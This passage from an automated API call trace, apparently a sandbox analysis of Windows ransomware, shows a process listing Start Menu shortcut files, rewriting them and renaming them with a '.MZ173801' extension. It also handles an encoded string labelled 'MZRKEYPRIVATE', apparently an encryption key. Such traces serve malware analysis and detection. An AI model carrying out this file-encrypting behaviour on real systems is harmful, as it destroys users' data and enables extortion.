lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.092] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x462, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x462, lpOverlapped=0x0) returned 1 [0213.129] CloseHandle (hObject=0x330) returned 1 [0213.129] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.130] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x462, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x462, lpOverlapped=0x0) returned 1 [0213.131] CloseHandle (hObject=0x330) returned 1 [0213.131] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\XPS Viewer.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\xps viewer.lnk.mz173801")) returned 1 [0213.132] GetCurrentThreadId () returned 0xab4 [0213.132] GetCurrentThreadId () returned 0xab4 [0213.132] GetCurrentThreadId () returned 0xab4 [0213.132] GetCurrentThreadId () returned 0xab4 [0213.132] GetCurrentThreadId () returned 0xab4 [0213.132] GetCurrentThreadId () returned 0xab4 [0213.132] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce7e01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96ce7e01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96ce7e01, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="XPS Viewer.lnk", cAlternateFileName="")) returned 0 [0213.132] GetLastError () returned 0x12 [0213.132] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0213.132] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92da080, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa92da080, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0213.132] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0213.132] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.132] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92da080, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xa92da080, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0213.132] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.132] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.132] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a94a259, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x69cb7dde, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x69cb7dde, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.132] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98a4376e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa8def38e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Math Input Panel.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.132] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.132] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.132] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x630c736a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x630c736a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa8eae0d8, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Paint.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.132] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.132] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.132] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6e8df9, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9e26238d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xa8f469f0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Quick Assist.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.132] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.133] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.133] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c555e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x67c555e4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa8f469f0, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Remote Desktop Connection.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.133] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.133] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.133] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8ce781, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa8f6cc40, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Snipping Tool.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.133] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.133] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.133] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378897b7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x378897b7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xa8f92d65, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Steps Recorder.lnk.MZ173801", cAlternateFileName="")) returned 1 [0213.133] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.133] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.133] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234c75c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0213.133] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.133] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.133] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234c75c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0213.133] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234c75c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0213.133] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655bc768, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x655bc768, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x655bc768, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a, dwReserved0=0x1, dwReserved1=0x19f34c, cFileName="Character Map.lnk", cAlternateFileName="")) returned 1 [0213.133] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0213.133] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0213.133] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655bc768, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x655bc768, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x655bc768, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45a)) returned 1 [0213.139] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\character map.lnk")) returned 0x20 [0213.140] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Character Map.lnk", dwFileAttributes=0x80) returned 1 [0213.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.143] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8Orw